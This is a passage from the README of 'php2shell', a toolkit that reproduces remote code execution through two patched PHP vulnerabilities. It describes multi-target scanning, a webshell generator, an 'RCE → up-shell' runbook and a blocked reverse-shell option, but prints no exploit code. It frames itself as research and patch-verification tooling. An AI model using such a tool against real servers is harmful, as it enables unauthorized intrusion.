reproducible PROOF: uid=33(www-data), incl. single-attempt runs |
| Chain engine ≡ reference exploit | byte-level diff — 7 core functions, constants, orchestration identical |
| Patched 8.4.27 refuses the chain | consumer runs stay clean on the patched regression lab |
| Command fence | 16 negative test cases, rejected before any network I/O |
--revshell |
blocked at runner level (exit 2), not just parser |
| Multi-target mode | dedupe, auto-https, JSON/CSV verified live |
| 263 tests | python -m unittest discover -s tests -t . → Ran 263 tests … OK |
| 416 test cases / 195 subtests | python -m pytest -q → 416 passed, 195 subtests passed (same suite, pytest collection counts differently) |
📘 Usage guide:
docs/TUTORIAL.md— a step-by-step tutorial for every feature (all of them tested live), including RCE → up-shell. Technical runbook:docs/RUNBOOK_RCE_UPSHELL.md.
php2shell/
├── php2shell.py single CLI: scan/detect/preflight/exploit/shell
├── install.sh one-shot installer (venv + deps + smoke tests)
├── requirements.txt curl_cffi, bcrypt
├── lib/
│ ├── chain.py ── THE ENGINE: pure-python exploit chain (in-process)
│ ├── transport.py curl_cffi JA3 transport + rate limit + audit log
│ ├── detect.py fingerprint: version, SAPI, upload_progress…
│ ├── preflight.py readiness score; detection ≠ gate
│ ├── build_support.py RCE / leak-only / unproven table per build
│ ├── memprobe.py read the target memory_limit through 1 request
│ ├── exploit_runner.py orchestration + command fence + auto-proof
│ ├── reporter.py JSON / CSV / terminal tables
│ └── banner.py the skull ASCII
├── shell/ password-protected webshell GENERATOR
├── lab/lab_docker.sh author-config vulnerable lab, one command
├── docker/ php.ini / apache.conf / www / offsets.py
├── docs/ SYARAT_TARGET.md — what makes the chain work
├── tests/ 263 tests (`python -m unittest discover -s tests -t .`)
└── gambar/ screenshot
The project publishes defense-relevant reproduction of two already-patched PHP vulnerabilities for research, blue-team validation, and patch-verification. Use it only on systems you own or have written authorization to test.
Exploiting third-party systems without authorization is a crime (UU ITE Indonesia, US CFAA, EU equivalents).
The design (identity-only commands, no shell primitives, no exfiltration) is intentional: this toolkit proves impact; it does not weaponize beyond proof.
See SECURITY.md · License: GPL-3.0-only
Code & research this builds on: 9bie (Qi Deng) — public exploit & heap grooming · Karasawa2025 — the
display_errors=Off direction ·
v.dir.mir — --revshell in the reference ·
Zer061 — the reference exploit.py fork ·
ikow — OOM verifier ·
devploit — the 13 heap profile tableAdvisories & fixes: PHP Group — GHSA-w8hw-w9fx-j79w / GHSA-6wmf-4rv5-p3rp
reproduction, tooling & hardening by aarsaputra
A credit missing or wrong? Open an issue.